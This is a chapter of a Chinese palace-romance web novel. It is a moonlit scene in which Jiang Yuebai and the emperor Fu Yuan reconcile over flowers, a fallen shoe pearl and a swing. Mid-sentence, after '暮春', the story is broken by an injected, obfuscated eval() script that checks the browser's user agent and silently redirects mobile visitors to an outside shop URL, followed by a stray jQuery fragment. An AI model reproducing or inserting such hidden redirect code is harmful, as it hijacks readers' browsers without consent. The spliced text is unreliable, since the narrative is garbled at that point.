江月白从未跑得这么快过,风在耳后嘶吼,裙摆与发丝在身后飞扬。
月色撒了满地清辉,到处摇曳着粼粼碎光。
她像是一只莽撞的蝶,没有头绪地在宫中横冲直撞,飞过一处又一处,未央湖、竹林、小亭……
终于,蝶影栖息在桃林道里。她弯腰扶靠着一颗桃树,额上沁出细汗,喘息促且急。
宫中的桃树不知如何养的,如今四月的天,依旧茂盛,抬首望去,漫天粉白。
一阵风来,枝头桃花纷纷如雨落了满身,江月白整理一番,忽见一朵花瓣打着旋随风飘向不远处的秋千架上。
足底酸软,江月白踱步过去,用帕子将坐凳擦拭一遍后,才荡起秋千。
周遭阒静,唯有秋千荡起的风声,应和着她如擂鼓的心跳声。
方才那股冲动来得突然且汹涌,她什么都抛之脑后,如今平复下来后,她才记起或许在太渊殿等着傅渊,要比她如今瞎转要明智得多。
她正要起身离去,远处忽而传来一阵轻缓的脚步声。
由远及近,步履轻缓。
心下似有所感,她抬眸循声望去。
道路两排的恢宏石灯延伸往后,遍寻不见的傅渊正静静立在那。
他身后的宫墙上爬满了枝蔓,郁郁葱葱,葳蕤不见空隙,作了他的布景。
长风吹来迢递草木清香。
秋千荡起声止住,江月白双足点地,呆呆地望着他。
看他从绿意盎然的园林画里,踩着月色,一步一步朝她走来。
空中忽而有了夏夜的燥意。
傅渊在她身前立定,颀长的阴影落在她身上,清冽的沉光香幽幽浮动。
气氛莫名有些怪异。
谁都没有说话。
一阵轻微窸窣声,像是变戏法似的,他从身后捧出一束桃花,递给她。
“送我的?”江月白睁圆眼睛,视线依旧粘着他身上。
傅渊唇角动了一下,却还是沉默着点头。
江月白这才接过花,纤细的脖颈低垂,弯成好看的弧度,只低头看手里的春天。
桃花束选的都是开得正盛的白色桃花,层层叠叠如千堆雪,只簇拥着正中的一株结了花骨朵的粉色蔷薇枝。
琼姿映雪,煞是好看。
也是她喜欢的。
本来的那点不自在消弭殆尽,江月白满心欢喜地仰起头,眼瞳里蕴了点光亮:“陛下知道我来?”
傅渊俯身凑近,辨出是映照的月光,亮莹莹的。
他这才注意到她眼瞳很圆很大,几乎要占满眼白,又因颜色浅淡,望着人时总给人笑盈盈之感。
难怪惹得陈清元喜欢。
他唇角刚刚扬起的弧度陡然绷直:“你怎么在这里?”
傅渊自问他语气已经很和善了。但落在江月白耳里,却是冷冰冰硬邦邦的。
他这人怎么这样呀?
她都主动示好了,怎么还凶她?
江月白委屈地望他一眼,想着他是君王,又低下睫羽,遮住眼瞳里的水雾。
“你不高兴,为什么?”傅渊清越的声音在发顶响起,在夜色里莫名有了几分关切。
江月白咬着唇,决定先不要理他。
鼻尖萦绕着馥郁的花香,她这才记起他送的花还在手里。
悄悄抬眸睨他,见他薄唇微抿,眉间微微拢起,似是在思索什么。
是在想怎么同她道歉吗?毕竟他的行动是温和的。
他是个闷葫芦,平日也没跟女子相处过,难免言不对心。
她可是大女子,可以包容他这个扭捏小男子。
那她就再给个台阶吧。
想定,江月白仰起头,给他一个安抚的眼神。
此时夜风吹过,她鬓边的碎发随风浮动,愈显清丽。
傅渊视线定格到她眼瞳上,“因为没找到我?”
她才不是因为这个的。江月白想解释,可傅渊已经继续说道“你方才去太渊殿了。”
江月白指尖抚上蔷薇花的枝蔓,点点头:“是啊,扑了空呢,想着出来碰碰运气,谁知最后还是陛下找到了我。”
“因为等不及,想立刻见我?”
风停,湖水不动。
世间仿佛停滞了一瞬,而后拼命汹涌。
燥意愈发澎湃,激得大女子江月白浑身发烫,裸露在外的肌肤瞬间霞粉蔓延。
江月白心慌得厉害,飞快摇头:“你不要总是说这么让人难为情的话好不好。”
傅渊不解。
“陛下,好不好吗?”夜风柔缓,吹得枝叶簌簌作响,衬得江月白嗓音愈发甜软。
傅渊点头,换了个话题:“不生气了?”
虽然还是说生气,但江月白竟立刻明白他说的是亭中的争执。
其实她还是有点生气,但还是那句话,大女子可以包容他。
江月白细声细语地解释道:“陛下,是你先生气的,还毁了朋友送我的发簪。我觉得对不住小词,自然生气。”
少女坐在秋千上,手捧半开的蔷薇花束,此刻正仰面看他,眼瞳里水光潋滟,倒映着盈盈月光。
一直凝视着她的傅渊,蓦然想起那夜她双眸噙泪的模样。
江月白看不懂傅渊的情绪,只觉得他的视线沉甸甸的,压得她有些喘不过气。
她抿了抿唇,继续好脾气道:“陛下已经给了我赔礼,我原谅你了。不过陛下,下次你生气前能不能讲明缘由——”
话还未说完,她忽而睁大了双眼,错愕地看着傅渊在她面前,单膝蹲了下去。
他的衣角堆叠在地,皎洁的月色坠在其中,好似一片片银色的绣纹。
而他面色郑重,状若求娶。
她刚要说些什么。
左脚忽而被傅渊抬起。
“你……”
她被傅渊突然的动作吓了一跳。
“怕什么?”傅渊短促地笑了声。
他一手握着她的左脚踝,另一只手在地上捡了个物什,捏给她看了看,是一颗小巧圆润的珍珠。
“你绣鞋上的珍珠掉了,我来给你装好。”说完,他低下头,认真摆弄着。
江月白还是第一次以这个角度来看傅渊,第一次俯视着他。
她忽而发现,他的眉骨很是突出,剑眉入鬓,闪烁着凌厉的锋芒。
而此刻,他正垂眸,细碎的月光落在他纤长的羽睫上。
有如星子在浮动起跃。
他的神色看起来格外专注。
“你继续说。”似是察觉到了她的视线,傅渊突地说了一句,复又低头。
“说什么?”江月白继续问。
“说你对我不满的地方。”
似乎是不好用力,他原本握着她脚踝的手忽而移到她的脚底,她的足底,连同绣鞋底,一齐被握在他的掌心。
江月白的脸“刷”一下就红了。
她今日为了找他,不知跑过多少路,她不敢想象,鞋底沾了多少灰尘。
下意识地想收回脚,却被他握得更紧了。
“别动。”
他微微仰头,眉目在夜色里十分明晰。
江月白不敢动了。
须臾,傅渊终于松开手,将她的脚轻轻放在地上。
“怎么样?”
他抬头看向她,唇边还噙着笑意。
江月白只看了一眼,胡乱点头夸了一通后,她一把拉起傅渊的手。
果不其然,他的掌心上,布满了灰尘。
她匆匆就要从怀中拿帕子,动作却陡然一僵。
她忽而想起来,她的手帕方才用来擦秋千了。
傅渊见状问:“怎么了?”
江月白望着他,细声细语道:“陛下,你有帕子吗?”
傅渊视线落到被她握着的手上,复又移到她泛红的面上,忽而笑了起来。
“放心,不怪你。”
江月白想了想,将蔷薇花束放在身侧,提起衣角,一点一点地擦拭着他的掌心。
傅渊的身形一震。
他一双眼如同鹰隼一般,死死盯着她。
暮春
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760200|208077||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的夜晚空气里带着些微的凉意,丝丝缕缕地渗入人的肌肤里。
少女眸光低垂,唇微微抿着,一袭白裙如烟似雾,瓷白的肌肤在月色下如宝珠般泛着莹润的光芒。
隔着薄薄的一层缎子,能感受到她指腹的微凉,以及动作的小心翼翼。
她每一次掠过,都似羽毛轻拂,激起细密绵软的痒意。
傅渊的手指不觉绷紧,连同他整个人一起。
晚风吹拂他的喉间,一寸寸上下滑动着。
他从未有这般难熬的时候。
她却蓦然转眸看他,小巧精致的面上写满了为难:“陛下,你这样我擦不好。放松好不好?”
手指被她轻轻晃了晃。
傅渊抬眸,看见她身后的银月也跟着摇曳。
“好。”
他听到自己的声音微微沙哑。
第一次,他完全松懈下来。
最爱漂亮的她,掰着他的指节,用最易弄脏的缎子,一点一点地拭去他指间的尘埃……
春日的夜,月色漂亮得不成样子。
处处好风景。
“哎!”江月白给傅渊擦完指节,突然发现,他的指腹处布满了细碎的伤口。
“陛下你受伤了?”
她站起身,连带着傅渊一同起身。
傅渊顺着她的目光瞥了眼手中的伤口,又将视线落到她身上,“不算伤。”
他的语气漫不经心的,好似什么无关紧要的小事。
“可是……”她还想问他是怎么伤的,就见傅渊收回了手,双手落在她的肩,把她按在秋千上。
他绕到她身后,声音带笑:“没事的,我还能推你荡秋千。”
还有心情陪她玩,看来不是因她而伤的。
江月白放下了心,垂眸看着身侧的桃花束,泛起了难。
此处并无什么桌椅,若是搁在地上,傅渊应当会生气的。
想了想,她侧身,回眸望向傅渊,将花递给他。
“陛下,你帮我放在桃树上吧。”
傅渊似乎有些惊讶,须臾后,才接过花,应了声好。
他身量极高,稍一抬手,就将桃花束轻轻巧巧地搁在了桃树最高的枝桠上。
他缓步走到江月白身后,轻轻推起了她。
夜风轻扬,江月白将腿扬起,每次荡起时都能看到琉璃瓦上扑朔的清霜,以及远处宫殿的轮廓。
而每次回落时,都能被傅渊稳稳接住。
他就是有着令人无比安心的能力。
风声呼啸,吹起她鬓间的发。
她兴致正佳,转过头对身后的他笑道:“高一些,我想高一些!”
话音刚落,她就觉得身后的推力大了一些,紧接着她就又荡了起来。
她觉得自己似乎都要飞了起来,她从未见过这般明亮硕大的月亮,近在咫尺一般,仿佛伸手就能摘到。
她紧紧抓着两侧的扶手,忍不住惊呼出声:“太高了——”
风灌入喉咙,却并不疼,心急遽地跳动着。
荡到最高点的时候,她转过头看他。
鬓发黏在她的面上,却怎么也遮不住她顾盼神飞的眉眼,她的面上带着开怀的笑。
“傅渊,你看起来好矮啊。”
她的声音随晚风拂过他的耳廓,傅渊微微一怔。
他倏然想起那个好久之前做的梦,也是一个秋千架,有人娇声唤他“阿渊”。
梦中人的模样逐渐清晰,分明就是眼前的少女。
或许命运早就有所注解。
傅渊笑了。
他嘴上说着:“江月白,你真大胆。”
却又在她落下时,稳稳接住她。
这是他们彼此第一次喊互相的名字。
风声飒飒,直荡得江月白笑僵了脸,直呼不要了。
“江月白。”傅渊忽而唤她。
“嗯?”江月白坐在秋千上,双足点地,回眸看他。
“别恼了。日后争执前我会说明缘由。”
回应的是她方才的疑问。